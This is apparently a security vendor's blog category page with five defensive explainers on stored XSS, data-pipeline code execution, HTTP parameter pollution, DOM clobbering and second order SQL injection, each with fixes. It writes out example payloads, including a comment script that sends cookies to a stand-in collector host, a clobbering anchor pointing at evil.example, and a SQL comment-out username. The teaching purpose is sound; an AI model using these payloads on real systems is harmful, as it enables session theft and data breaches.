Category: Injection and Input

Injection and input handling flaws: XSS, SQL injection, and related classes.

  • Stored XSS Example: How One Saved Comment Runs in Everyone Else’s Browser

    Stored XSS Example: How One Saved Comment Runs in Everyone Else’s Browser

    Stored cross site scripting happens when an application saves attacker controlled text and later writes it into a page as markup instead of as content. It is the most damaging form of XSS, because the payload waits in the database and fires for every visitor who loads the affected page. This stored XSS example walks through one comment field in an invented app, from the request that plants the script to the response that runs it, and then covers how to find and fix the same flaw.

    A stored XSS example, start to finish

    Acme Notes is an invented team workspace where members leave comments on a shared note. An attacker with an ordinary account posts a comment.

    POST /api/notes/4120/comments
    Content-Type: application/json
    Authorization: Bearer tokenForAttacker
    
    { "body": "<script>fetch('https://collector.example/c?d='+encodeURIComponent(document.cookie))</script>" }
    
    201 Created
    { "id": 771, "author_id": 88, "body": "<script>...</script>" }

    The API stores the string exactly as sent. Nothing has gone wrong yet, because storing text is not a vulnerability. The bug appears when the comment is rendered. The template writes the comment body straight into the HTML.

    <div class="comment">
      <span class="author">Sam</span>
      <script>fetch('https://collector.example/c?d='+encodeURIComponent(document.cookie))</script>
    </div>

    Now every colleague who opens that note runs the script with the full privileges of their own session. The attacker did not need to trick anyone into clicking a crafted link, which is what separates stored XSS from the reflected kind. The trap is set once and the application delivers it.

    What the attacker gets

    Reading cookies is the textbook demonstration, and it is the least interesting outcome. If the session cookie is marked HttpOnly, that specific line fails, and the rest of the attack does not care.

    • Actions as the victim. The script runs on the origin, so it can call the API with the victim’s session: change an email address, invite an account, export data. It does not need to steal a token to use one.
    • Reading what the victim can read. Anything the page can fetch, the script can fetch and send elsewhere.
    • Privilege escalation by patience. A payload planted in a support ticket or a user profile often ends up rendered inside an admin dashboard. This is sometimes called blind XSS, because the attacker never sees the page where it fires.
    • Persistence. The payload survives logouts and password resets. It lives in the data, so it keeps firing until someone finds and removes the record.

    Storing the text is not the bug. Rendering it as markup is the bug, which means the fix belongs at the moment of output, not the moment of input.

    Where stored XSS actually hides

    Comment boxes are the example everyone uses and the field most likely to already be escaped. In practice these bugs sit in the places nobody thinks of as user content.

    • Display names and profile fields, which get rendered in headers, mention lists, and notification emails.
    • File names from uploads, echoed back in an attachment list.
    • Support tickets and error reports, which are read by staff in an internal tool with far more privilege than the app itself.
    • Fields that pass through a second system, such as a webhook payload or an imported CSV, where the escaping done by the main app never applies.
    • Markdown and rich text, where the renderer is allowed to emit HTML on purpose and the allowlist has a gap, often around href values or embedded SVG.

    How to find it

    The method is to plant a marker, then hunt for every place it comes back.

    • Use a unique probe. Put a distinctive string such as acmeprobe7719 into every field you can write to, then search the whole application for it: pages, exports, emails, admin views, PDF reports.
    • Check how it comes back. Viewing the source is what matters. If the probe appears as text and the angle brackets arrive as &lt;, that output is escaped. If your markup survives intact, the field renders.
    • Match the payload to the context. Text inside a div, a value inside an attribute, and a string inside an existing script block each need a different break out. A probe that fails in one context can succeed in another on the same page.
    • Follow the data to other readers. The field you wrote may be safe in the interface you can see and unescaped in an internal dashboard you cannot. Long lived probes with a callback are how those are found.
    • Retest after refactors. A template switched from a safe helper to raw output reintroduces the bug without touching anything that looks like security code.

    Do this only against systems you own or have written permission to test. More on injection and input bugs is here.

    How to fix it

    The single rule is to escape on output, in the context where the value lands, and to let a template engine do it rather than doing it by hand.

    // unsafe: writes the value as markup
    element.innerHTML = comment.body;
    
    // safe: writes the value as text
    element.textContent = comment.body;
    • Keep framework escaping on. React, Vue, Django, Rails and others escape by default. Nearly every stored XSS bug in a modern app is a place where somebody opted out, through dangerouslySetInnerHTML, a raw HTML directive, innerHTML, or a raw filter in a template.
    • Escape for the right context. HTML text, HTML attributes, JavaScript strings, and URLs all have different rules. HTML escaping inside a href still allows a javascript: URL.
    • Sanitize rich text with a maintained library and an allowlist of tags and attributes. Writing your own filter is how onerror and SVG payloads get through.
    • Add a content security policy so that an injected inline script is refused even when escaping fails. Treat it as a second layer, not the fix.
    • Set HttpOnly and SameSite on session cookies. This blocks cookie theft, not the attack, since the script can still act as the user.

    Stored XSS survives in mature codebases because the injection point and the place it fires are usually in different files, often owned by different teams, and sometimes in different applications. Finding it means tracking where a value travels and how each destination treats it, which is the sort of end to end reasoning about an application that an autonomous researcher is built to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is a stored XSS example?

    A member of a shared workspace posts a comment whose body is <script>...</script> rather than plain text. The API saves the string, and the template later writes that body straight into the page as markup. From then on, every colleague who opens the note runs the script inside their own session. The attacker never has to send anyone a link, because the application itself delivers the payload.

    What is the difference between stored and reflected XSS?

    Reflected XSS travels in the request, usually in a query string, and only fires for someone who follows a crafted link, so the attacker has to get each victim to click. Stored XSS is saved by the application and served to whoever loads the affected page, which means it needs no social engineering, hits every viewer, and keeps working until the record is removed. Stored is the more serious of the two for that reason.

    Does HttpOnly on cookies stop stored XSS?

    No. Marking the session cookie HttpOnly stops the script from reading that cookie, which blocks one demonstration of the bug and none of its real impact. The script still runs on your origin with the victim’s session attached, so it can call the API as that user, change their email, invite an account, or read and exfiltrate whatever the page can fetch. Treat HttpOnly as damage limitation rather than a fix.

    How do I fix stored XSS?

    Escape at the point of output, in the context the value lands in, and let your template engine do it. Most stored XSS in modern applications is a place where somebody opted out of default escaping through innerHTML, dangerouslySetInnerHTML, or a raw filter in a template. If you must accept rich text, sanitize it with a maintained library and a strict allowlist of tags and attributes, and add a content security policy as a second layer for when escaping is missed.

    rather than plain text. The API saves the string, and the template later writes that body straight into the page as markup. From then on, every colleague who opens the note runs the script inside their own session. The attacker never has to send anyone a link, because the application itself delivers the payload."}}, {"@type": "Question", "name": "What is the difference between stored and reflected XSS?", "acceptedAnswer": {"@type": "Answer", "text": "Reflected XSS travels in the request, usually in a query string, and only fires for someone who follows a crafted link, so the attacker has to get each victim to click. Stored XSS is saved by the application and served to whoever loads the affected page, which means it needs no social engineering, hits every viewer, and keeps working until the record is removed. Stored is the more serious of the two for that reason."}}, {"@type": "Question", "name": "Does HttpOnly on cookies stop stored XSS?", "acceptedAnswer": {"@type": "Answer", "text": "No. Marking the session cookie HttpOnly stops the script from reading that cookie, which blocks one demonstration of the bug and none of its real impact. The script still runs on your origin with the victim's session attached, so it can call the API as that user, change their email, invite an account, or read and exfiltrate whatever the page can fetch. Treat HttpOnly as damage limitation rather than a fix."}}, {"@type": "Question", "name": "How do I fix stored XSS?", "acceptedAnswer": {"@type": "Answer", "text": "Escape at the point of output, in the context the value lands in, and let your template engine do it. Most stored XSS in modern applications is a place where somebody opted out of default escaping through innerHTML, dangerouslySetInnerHTML, or a raw filter in a template. If you must accept rich text, sanitize it with a maintained library and a strict allowlist of tags and attributes, and add a content security policy as a second layer for when escaping is missed."}}]}

    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: CSP Evaluator lets you paste a Content Security Policy and see which directives actually stop XSS. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • Code Execution in Data Pipelines: When Loading a File Runs Someone Else’s Code

    Code Execution in Data Pipelines: When Loading a File Runs Someone Else’s Code

    In July 2026, Hugging Face disclosed an intrusion that reached its infrastructure through the pipeline that processes uploaded datasets. A maliciously shaped dataset abused two paths at once, a remote code dataset loader and a template injection in a dataset configuration, to run code on a processing worker just by being processed. That is the plainest example you will find of code execution in data pipelines: nobody popped a shell or chained a memory bug, they handed the system a file and let the system read it.

    Why “it is only data” is false comfort

    For a system built to ingest data, processing untrusted data is executing untrusted code. The two ideas feel separate. Data is inert, code runs, and a file you have not opened cannot hurt you. That intuition is where the trouble begins. The moment a loader reads a file, it makes choices based on the bytes inside, and a rich enough format lets the file steer those choices all the way into a running process. The gap between “loading” and “running” is not a wall. Often it is not even a line.

    Picture an invented service, Acme Data, that lets anyone upload a dataset and shows a quick preview. A user uploads a file. A background worker downloads it, deserializes it, renders a few fields for the preview, and sometimes fetches a loader script the dataset points at. Every one of those steps reads bytes the uploader controls. If any single step can be steered into running instructions from the file, the attacker has code execution before a human ever glances at the preview. The upload button is the entry point, and the worker is the target.

    For a system built to ingest data, loading a file is the act of running whatever that file decided you should run.

    Three ways code execution in data pipelines actually happens

    The same underlying mistake shows up in three familiar shapes. Each one lives at the ingestion moment, when a loader first touches an artifact it did not create.

    1. Unsafe deserialization on load

    Some file formats are not just data, they are a small program that rebuilds an object. Python’s pickle is the clearest case. A pickle file can carry instructions that run the instant it is deserialized, so loading a pickle based model or dataset file hands the file author a callback straight into your process. No preview, no click, no second step. The call to load is the exploit.

    # unsafe: pickle runs code the moment it loads
    import pickle
    model = pickle.load(open("model.pkl", "rb"))
    
    # safer: safetensors only reads tensors, no execution path
    from safetensors.torch import load_file
    weights = load_file("model.safetensors")

    This is the deserialization class applied at ingestion. We cover the full mechanism in our deeper dive on insecure deserialization. The point for a pipeline is narrower: if a format can encode behaviour, then reading it is running it, and a loader that accepts that format from strangers is a loader that runs strangers’ code.

    2. Template injection in a dataset or config field

    Loaders often render fields rather than copy them. A dataset config might name a split, build a file path from a pattern, or carry a description that the loader passes through a template engine to produce a final value. If a value inside the uploaded data reaches that engine as the template itself, the attacker is now writing the template. A field that reads {{ 7 * 7 }} and comes back as 49 is the tell that the engine evaluated it, and the same door serves far more than arithmetic.

    The fix is to treat every field from an uploaded file as data you pass into a template, never as the template you evaluate. The full class, including how a rendered field escalates to remote code, lives in our write up on server side template injection. In a data pipeline the danger is easy to miss, because the field looks like a harmless label sitting next to real records.

    3. Remote code data loaders

    Some dataset formats let the dataset ship its own loader script, and the framework fetches and runs that script as part of “just loading the dataset.” It is sold as convenience: the dataset knows best how to parse itself, so let it. It is also a straight line from upload to execution, because the loader script is code the uploader wrote and your worker obediently runs. A flag that enables remote code on load is a flag that lets any uploaded dataset run on your machine. The feature and the vulnerability are the same feature.

    How to stop a loader from running someone else’s code

    None of these need a clever payload. They need a loader that trusts the file too much. Tighten that trust and the class mostly closes.

    • Prefer safe formats and safe loaders. Use safetensors for model weights and a safe YAML loader for configuration. A format that cannot encode behaviour cannot be turned into a payload.
    • Never deserialize untrusted pickle. If a file arrived from outside, do not pickle.load it. Convert at the boundary to a format that only carries data, and reject the rest.
    • Disable or sandbox remote code loaders. Turn off any option that fetches and runs a loader script. If you genuinely need one, run it in a throwaway sandbox with no route back to anything that matters.
    • Isolate the processing worker. Give it no standing credentials and lock its egress. If a file does run, it should run in a box that can reach nothing and prove nothing about who it is.
    • Treat every uploaded artifact as hostile. A model file, a dataset, a config, a checkpoint. Assume each one is hostile until proven otherwise, and design the ingestion step as if it will run.

    A different kind of pipeline problem

    Two nearby ideas are worth keeping separate. Poisoned pipeline execution is about CI and CD, where a change to build config or a pull request runs attacker steps inside your build system. That is a pipeline too, but the untrusted input is a repository change, not an ingested file, and the target is the builder rather than the loader. RAG data poisoning plants content that bends what a model answers later. The contrast is sharp: poisoning retrieval changes an answer, while the bugs here run code on the worker at load time, before any answer exists. More posts on this family sit under injection and input.

    The theme across all three mechanisms is one assumption. A system that ingests data treats loading as a passive step, and an attacker turns loading into execution. This is exactly the kind of assumption an autonomous researcher that tests assumptions, rather than matching payloads, is built to probe: it learns what your loader trusts, forms an idea about where that trust is misplaced, and proves it by making a benign looking file do something a file should never be able to do. More on how we think about it sits on our about page.

    Frequently asked questions

    What is code execution in data pipelines?

    It is when a system that ingests data runs an attacker’s code just by loading an uploaded file. A dataset, a model artifact, or a config can carry instructions that run on the processing worker before anyone inspects the file, so for an ingestion system processing untrusted data is the same as executing untrusted code.

    Why is loading a pickle file dangerous?

    Because a pickle file is not only data, it is a small program that rebuilds an object, and it can carry instructions that run the moment it is deserialized. Loading a pickle based model or dataset from an untrusted source hands the file author a callback into your process. Prefer a safe format such as safetensors for weights, and never deserialize untrusted pickle.

    How does template injection reach a data loader?

    Loaders often render fields from a dataset config through a template engine to build paths or labels. If a value inside the uploaded data reaches the engine as the template itself, the uploader is writing the template and can run code. Treat every field from an uploaded file as data passed into a template, never as the template you evaluate.

    What is a remote code data loader?

    It is a dataset format that ships its own loader script, which the framework fetches and runs as part of loading the dataset. That turns a plain upload into code your worker runs. Disable any option that fetches and runs remote loader scripts, or run it in a sandbox with no standing credentials and locked egress.

    How do you prevent code execution when ingesting files?

    Prefer safe formats and safe loaders, never deserialize untrusted pickle, and disable or sandbox loaders that can fetch and run remote code. Isolate the processing worker so it has no standing credentials and locked egress, and treat every uploaded artifact as hostile until proven otherwise.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • HTTP Parameter Pollution: When One Request Says the Same Thing Twice

    HTTP Parameter Pollution: When One Request Says the Same Thing Twice

    HTTP parameter pollution is what happens when you send the same parameter name twice and the layers handling your request quietly disagree about which copy counts. There is no rule in the HTTP specification that says what a server should do with ?role=user&role=admin. Some stacks keep the first value, some keep the last, some glue them together, some hand the application a list. When a firewall, a proxy, a framework, and a backend service each answer that question differently, a security check can run against one value while the real action runs against another.

    Why duplicate parameters have no single answer

    Because nobody ever standardised one. The query string is a convention, not a typed format, and every language grew its own habit. Ask four runtimes what name equals in ?name=a&name=b and you get four defensible answers.

    • First occurrence wins. The parser stores the first value it sees and ignores later copies. You read a.
    • Last occurrence wins. Later copies overwrite earlier ones. You read b.
    • Concatenation. The values are joined, sometimes with a comma, sometimes with a separator that depends on the platform. You read something like a,b.
    • Array. The parser builds a list and hands you ["a","b"]. Code that expected a string then does whatever a string operation does to a list, which is rarely what the author had in mind.

    None of those is wrong on its own. The bug appears when two of them sit in the same request path. The same rules apply to a form encoded body, to JSON bodies with duplicate keys, and to multipart form fields. Anywhere a name can appear twice, somebody has to pick, and the pickers do not consult each other.

    A security control only protects the value it actually read. If the business logic reads a different copy of the same parameter, the control was never in the request path at all.

    Server side pollution: the check and the action read different values

    The classic case is a filter or an authorization check placed in front of an application that parses the request its own way. Take an invented app, Acme Billing, with a transfer endpoint. A gateway inspects incoming requests and refuses any transfer where the source account does not belong to the caller. The gateway is written on a stack that takes the first occurrence of a parameter. The application behind it runs on a stack that takes the last.

    POST /api/transfer HTTP/1.1
    Host: acme-billing.example
    Content-Type: application/x-www-form-urlencoded
    
    from=ACC-1001&to=ACC-9000&amount=25&from=ACC-7777

    The gateway parses from as ACC-1001, the caller’s own account, and approves the request. The application parses from as ACC-7777, someone else’s account, and moves the money. Both components behaved exactly as documented. The request passed a check that examined a value the transfer never used.

    The same shape shows up around roles and flags. If an admin console accepts role from a form and a validation layer only inspects the copy it happens to read first, a second role=admin further down the body can reach the code that writes the record.

    Why it defeats pattern matching filters

    Splitting a value across duplicates also breaks filters that look for a payload in one place. A filter scanning each parameter value in isolation sees two short, unremarkable fragments. A backend that concatenates them sees one joined string. Nothing was encoded or obfuscated. The payload was simply distributed across copies that the filter judged separately and the application joined together. That is the same class of failure as HTTP request smuggling, our sibling post on parser disagreement, where a front end and a back end split one byte stream into a different number of requests. Different unit, identical root cause: two parsers, one input, two readings.

    Client side pollution: the parameter that lands in a generated link

    Client side pollution is the version where your extra parameter is reflected into a URL the page builds, rather than into a decision the server makes. Acme Billing renders a share link by copying the current invoice value into a template:

    /invoice/view?invoice=INV-42%26mode%3Dprint
           renders href="/invoice/export?invoice=INV-42&mode=print&format=pdf"

    Because the encoded ampersand was decoded and pasted straight into the new URL, the attacker added a parameter to a link the application generated. The interesting targets are the parameters that steer behaviour: a redirect or next value, a format switch, a callback host, a token scope. Get an unexpected copy of one of those into a link and the destination the user clicks is no longer the destination the developer wrote. Where the polluted parameter controls where the browser goes next, the outcome looks like an open redirect, reached by an injected duplicate rather than by editing the parameter the page expected.

    The same thing happens on the server when an application forwards a request onward. A service that rebuilds a downstream call by pasting user values into a query string can be made to add a parameter to that internal call, which is how a harmless looking field ends up setting an internal flag no external caller was ever meant to touch.

    How do you prevent HTTP parameter pollution?

    Every fix here is one idea in different clothing: make sure there is only ever one answer, and make sure every layer gets that same answer.

    • Reject duplicates outright. If your API never legitimately accepts a repeated name, treat a second occurrence as a malformed request and return a 400. This is the cheapest fix and it removes the ambiguity instead of managing it. Allow repetition only for fields that are genuinely lists, and declare those explicitly.
    • Normalise before any security decision. Canonicalise the request at the edge, collapsing or rejecting duplicates, so that everything downstream reads an input that can only be read one way. A check that runs on raw, unnormalised input is guessing.
    • Parse once, pass a typed object forward. The most durable structural fix. Decode the request a single time into a validated object with declared types, then hand that object to the gateway logic, the business logic, and the outbound call. Reparsing the raw query at each hop is what creates the gap.
    • Never let a filter and the application disagree about parsing. If a gateway sits in front of your app, test them against the same duplicated inputs and confirm they resolve to the same value. If they cannot be made to agree, the gateway should refuse ambiguous requests rather than interpret them.
    • Enforce a schema. A declared schema that names each field, its type, and its cardinality turns a duplicate into a validation error before any handler sees it.
    • Build outbound URLs with a real encoder. When user input goes into a link or a downstream call, use a URL builder that encodes each value, so an ampersand stays data and never becomes a separator. Never build a query string by string concatenation.
    • Do not put authorization in the filter. Ownership and permission checks belong next to the code that performs the action, reading the same variable that code uses. Distance between the check and the action is the space this bug lives in.

    You can find related teardowns under injection and input.

    Why does this survive code review?

    Nothing in the code looks wrong. Each layer reads a parameter, and each one is correct by its own documentation. The flaw only exists in the seam between two components that nobody wrote together, and it takes a request that no test suite generates: a well formed request that simply says the same thing twice. Finding it means questioning an assumption that never got written down, that every layer sees the same request. That is the kind of assumption an autonomous security researcher that reasons about how an application is meant to work, rather than replaying a fixed payload list, is built to test. You can read more about that approach on our about page.

    Frequently asked questions

    What is HTTP parameter pollution?

    It is sending the same parameter name more than once in a query string or body and exploiting the fact that different layers disagree about which copy wins. One layer may read the first value, another the last, so a check and the action it guards can end up using different data.

    What is the difference between server side and client side parameter pollution?

    Server side pollution targets a decision on the server, where a gateway or filter reads one copy of a parameter and the application logic reads another. Client side pollution targets a URL the page or service builds, where an injected extra parameter changes a generated link, redirect, or downstream call.

    Why does the same request give different values on different stacks?

    The HTTP specification never defined what to do with duplicate parameter names. Some parsers keep the first occurrence, some keep the last, some join the values together, and some build an array, so identical bytes produce different results on different platforms.

    How do you prevent HTTP parameter pollution?

    Reject duplicate parameters outright unless a field is genuinely a list, normalise the request before any security decision, parse it once into a typed object that every layer shares, and confirm that a gateway and the application resolve duplicated inputs to the same value.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • DOM Clobbering: Manipulating a Page’s JavaScript With Markup Alone

    DOM Clobbering: Manipulating a Page’s JavaScript With Markup Alone

    DOM clobbering is a way to change what a page’s JavaScript does without injecting a single line of script. The attacker only needs to plant plain HTML: an anchor here, a form there, each carrying an id or name attribute. Browsers turn named elements into properties on window and document, so that injected markup can overwrite the very variables the application reads to make decisions. No <script> tag, no event handler, no inline JavaScript. That is why sanitizers and a strict Content Security Policy, both of which spend most of their effort asking “is there script here?”, often wave it straight through.

    The browser rule that DOM clobbering weaponises

    Start with a browser behavior almost nobody thinks about. When an element has a name or id attribute, the browser exposes it as a named property. An element with id="config" becomes reachable as window.config and document.config. Named form controls become properties of their form. Two elements that share a name collapse into a collection you can index. This is old behavior, kept for backward compatibility with pages written before getElementById existed, and it is still there in every current browser.

    Now put that next to a common assumption in application code: that a global the app never set is undefined, or that a variable holds the value the app itself assigned. Both assumptions break the moment an attacker can add an element with the right id. The markup is inert. It runs nothing. It just sits in the DOM and answers to a name the code was counting on owning.

    A sanitizer that only strips scripts is checking the wrong thing. DOM clobbering carries no script. It hands the browser plain markup and lets the browser’s own naming rule do the damage.

    A generic app to make it concrete

    Picture a typical SaaS app called Acme Notes. Users can write notes and profile bios, and the app allows a small set of formatting HTML in those fields: bold, italics, links, images. The team wrote a sanitizer that removes <script>, drops on* event handler attributes, and blocks javascript: URLs. They also set a Content Security Policy that forbids inline script. By the usual checklist, stored cross site scripting is handled. What the checklist missed is that <a>, <img>, and <form> with an id or name are still allowed through, because none of them is a script.

    Clobbering a global the app trusts

    Here is the vulnerable gadget. Acme Notes loads an optional analytics config from a URL, and the code was written so that a global can override the default:

    // app.js, runs on every page
    var endpoint = window.APP_CONFIG_URL || "/config/default.json";
    fetch(endpoint)
      .then(function (r) { return r.json(); })
      .then(applyConfig);
    

    The author assumed window.APP_CONFIG_URL is either set by a trusted build step or absent. It was never meant to be attacker controlled. But the profile bio renders user HTML into the same document, so the attacker stores this:

    <a id="APP_CONFIG_URL" href="//evil.example/x.json"></a>
    

    Now window.APP_CONFIG_URL resolves to that anchor element. When the code reads it in a string context, the browser coerces the anchor to its URL, so endpoint becomes //evil.example/x.json. The app fetches config from a domain the attacker owns and hands the response to applyConfig. Depending on what applyConfig trusts, that is an open redirect, a logic bypass, or a path to script execution if the config controls a template or a redirect target. The sanitizer saw an ordinary link. The Content Security Policy saw no inline script. Nothing was violated, and the app’s own logic did the rest.

    Chaining elements and clobbering a lookup

    The technique goes further than a single global. A few patterns show up often:

    • Collections from a shared name. Two elements with the same name become an indexable collection, so an attacker can shape a value that reads as obj[0], obj[1], and so on. That lets them clobber code expecting an array like structure, not just a single node.
    • Form scoped properties. Inside a <form>, named inputs become properties of the form. Injecting <form id="settings"><input name="admin" value="1"></form> makes settings.admin resolve to that input, so code reading settings.admin sees an attacker chosen value.
    • Beating getElementById. Some code trusts document.getElementById("x") to return a known, safe element. An injected element with id="x" that appears earlier in the document can be the one returned, so a later read of that element’s src, href, or text comes from the attacker.

    The building blocks are boring on purpose: id and name attributes on <a>, <form>, <img>, <iframe>, and <object>. None of them is a script. All of them can rename a slice of the global namespace out from under the code.

    Why DOM clobbering slips past sanitizers and CSP

    Most defenses against injected markup are built around one question: does this contain executable script? A sanitizer strips tags and attributes that run code. A Content Security Policy that blocks inline JavaScript and untrusted sources stops a <script> from executing. Both are worth having. Neither addresses a value that is expressed entirely through the presence and naming of ordinary elements. This is the same shape of problem as DOM based XSS, where the bug lives in what client side JavaScript does with data rather than in the server’s HTML, and it rhymes with prototype pollution, where an attacker sets a property the code later reads as if it owned it. In every case the code trusts a value it did not fully control.

    How to prevent DOM clobbering

    The fixes are specific, and they stack. None of them is about looking harder for script.

    • Do not read globals or DOM by bare name for security decisions. A reference like window.APP_CONFIG_URL or a lookup by id can be an element instead of the value you expect. Do not branch on it as if it were trusted.
    • Check types explicitly. Before using a global, confirm it is what you think. typeof APP_CONFIG_URL === "string" rejects a clobbering anchor, because the anchor is an object, not a string. Use Object.getOwnPropertyDescriptor or hasOwnProperty on a known object rather than trusting an ambient name.
    • Hold trusted values in a frozen config object. Define config on an object you control and call Object.freeze on it, then read config.endpoint from that object. An injected element cannot become a property of a frozen object your code owns, and you never rely on an undefined global being undefined.
    • Avoid document.write and named lookups for values you trust. Prefer querySelector with a scoped, specific selector over reading a bare global that a named element can occupy.
    • Sanitize id and name, not just script. Use a well maintained sanitizer configured with an allow list that also strips or namespaces id and name on user content, so injected markup cannot claim a name the app reads. Allow only the attributes formatting actually needs.

    DOM clobbering is a clean example of a bug that lives in an assumption, not in a payload. The code assumed a name belonged to it, and the browser quietly let a stranger answer to that name. Finding this kind of flaw means testing what a page trusts, not scanning for a known bad string, which is the work an autonomous security researcher that tests an app’s assumptions is built for. You can read more about how we think about that on our about page.

    Frequently asked questions

    What is DOM clobbering?

    It is a technique that changes what a page’s JavaScript does using plain HTML only, with no script. Injected elements with id or name attributes become properties on window or document and overwrite the globals the application reads.

    Why does it get past sanitizers and CSP?

    Those defenses mostly ask whether content contains executable script. DOM clobbering carries none. It uses ordinary elements like an anchor or a form, so a filter focused on scripts waves it straight through.

    What can an attacker achieve?

    By clobbering a global or a getElementById result the code trusts, an attacker can force an open redirect, bypass a logic check, or reach script execution if the clobbered value feeds a template or a redirect target.

    How do you prevent DOM clobbering?

    Do not read globals or the DOM by bare name for security decisions, check types explicitly before use, hold trusted values in a frozen object your code owns, and configure the sanitizer to strip or namespace id and name on user content.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Second Order SQL Injection: The Payload That Waits

    Second Order SQL Injection: The Payload That Waits

    Most developers learn to stop SQL injection at the front door. You parameterize the login form, you escape the search box, and you move on. But second order sql injection skips the front door entirely. The bad input arrives, gets stored without complaint, and only turns into an attack later, when some other part of your code reads it back and trusts it. This is the payload that waits.

    What second order sql injection actually is

    In a classic, first order attack, the malicious string goes straight into a query on the same request. You type ' OR 1=1 -- into a field, the server concatenates it into SQL, and the database runs it immediately. The cause and the effect live in the same code path.

    Second order is split across time and across functions. Step one stores the payload. Step two, often in a completely different feature written by a different person months later, pulls that stored value out and builds a query with it. The input was already inside your own database, so it feels safe. It is not.

    Picture an app called Acme Notes. At signup, a new user picks a username. The signup code is careful. It uses a parameterized insert, so the raw string lands in the database exactly as typed, with no escaping damage and no immediate execution:

    -- signup, done correctly with a bound parameter
    INSERT INTO users (username, email) VALUES (?, ?);
    -- the username column now literally contains:
    --   admin'--
    

    Nothing breaks. The parameterized insert did its job and stored the string safely. A naive validator might even have passed it, because admin'-- looks like an odd but harmless name. The danger is dormant, sitting in a row, waiting for code that trusts it.

    The second code path is where it bites

    Weeks later, an Acme Notes engineer builds an internal admin report. It lists how many notes each user has written. To label each row, it reads the username back out and, because this is “just internal data we already stored,” it builds the query with string concatenation:

    -- admin report, built unsafely from stored data
    String name = row.get("username");   // "admin'--"
    String sql =
      "SELECT count(*) FROM notes " +
      "WHERE author = '" + name + "' " +
      "GROUP BY author";
    

    Now substitute the stored value in and read what the database actually sees:

    SELECT count(*) FROM notes WHERE author = 'admin'--' GROUP BY author
    

    The single quote closes the string early. The -- comments out the rest of the line. The query the engineer wrote is gone, replaced by one the attacker shaped at signup. With a more deliberate username, the same hole reads other tables, dumps password hashes, or flips an is_admin flag. The attacker never touched the report feature. They planted the input once and let your own trusted code fire it.

    The first request only loads the gun. The trigger is your own code, later, reading data it assumes is clean because the data came from your database instead of from the user.

    Why “sanitized on the way in” still loses

    The usual defense is input validation at the edge. Strip quotes, reject weird characters, escape on entry. That mindset fails here for three reasons.

    • Escaping is for display, not storage. If you HTML escape or backslash escape a value to make it safe for one context, then store the escaped form, you have corrupted the data and still not made it safe for SQL. Different sinks need different handling.
    • Valid data is still dangerous data. A username like O'Brien is legitimate. You cannot ban the apostrophe. So the quote that breaks the admin query is a real, allowed character that no sane validator would reject.
    • The trust boundary moved. Once a value lives in your database, the next developer treats it as internal and safe. Stored does not mean trusted. Every read is a fresh chance to build a broken query.

    This is close in spirit to a business logic vulnerability: the individual steps each look correct, and the flaw only appears when you trace how data flows between features that were never reviewed together.

    Why it is hard to detect

    A scanner that fires payloads at the signup form sees a clean result. The injection does not happen on that request, so there is nothing to observe. The response is a normal “account created” page. The vulnerable query lives behind an admin login, on a different endpoint, triggered by a value the scanner already submitted and forgot about.

    To catch it you have to connect two events: the write at signup and the read in the report. That means understanding what the app does, not just replaying requests. Source review helps, because you can grep for string concatenation near SQL. But in a large codebase the storing function and the reading function can sit in different services entirely, and the link between them is invisible unless you follow the data.

    How to look for it on purpose

    • Search the codebase for query strings built with +, template literals, or string formatting instead of bound parameters.
    • List every place a stored field gets read back into a query, especially admin, reporting, export, and batch jobs that were written after the main app.
    • Seed a test account with a benign marker like zz'zz in each free text field, then exercise reports and exports and watch for SQL errors or odd row counts.

    The fix: treat every value as untrusted, every time

    The durable answer is not better input filters. It is parameterized queries everywhere, on reads and writes, including the code paths that handle data you put in your own database. The same admin report, done right:

    -- admin report, parameterized
    SELECT count(*) FROM notes WHERE author = ? GROUP BY author
    -- bind: name = "admin'--"  is matched as a literal string, no execution
    

    Now admin'-- is just a value to compare against. The database never parses it as SQL. A few rules make this hold across a team:

    • Bind, never concatenate. Use prepared statements or a query builder that parameterizes by default. Make raw string SQL the rare, reviewed exception.
    • Stored data is untrusted data. A value read from your own tables gets the same care as a value from the network. There is no internal grace period.
    • Validate for correctness, not as a security wall. Length and format checks are fine, but they are not your SQL defense. Parameterization is.
    • Use least privilege. The report job does not need write or schema rights. Narrow the database role so a slip causes less.

    Second order injection survives because it hides between two correct looking pieces of code. Finding it means reasoning about how data moves across features, not matching a fixed list of payloads against one form. That cross path reasoning is what UnboundCompute is built to do: an autonomous researcher that learns an app’s assumptions and tests them, so a payload planted in one feature and fired in another is exactly the kind of bug it goes looking for. In early work, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. You can read more on the about page.

    Frequently asked questions

    What is second order sql injection?

    Second order sql injection is an attack where malicious input is stored safely on the way in, then later read back and placed into a query in a different code path that trusts it. The payload does no harm at first and only fires when the stored value reaches an unsafe query.

    How does it differ from classic sql injection?

    Classic, or first order, injection triggers in the same request that carries the payload. Second order injection splits the steps across time, so the input that gets saved looks harmless and the damage happens on a later read in another feature.

    Why does input that was sanitized on the way in still cause harm?

    Escaping for safe storage is not the same as building a safe query later. Once a value sits in the database, a second code path may pull it out and concatenate it into SQL without treating it as untrusted, so the original escaping no longer protects anything.

    Why is second order sql injection hard to detect?

    The injection point and the trigger live in different requests and often different features, so a scanner that tests one form sees nothing. Finding it means reasoning about where stored data flows back into queries, not just probing each input in isolation.

    How do you prevent second order sql injection?

    Use parameterized queries everywhere, including the code paths that read stored data, and treat every value from the database as untrusted input. Never rely on escaping done at write time to keep a later query safe.


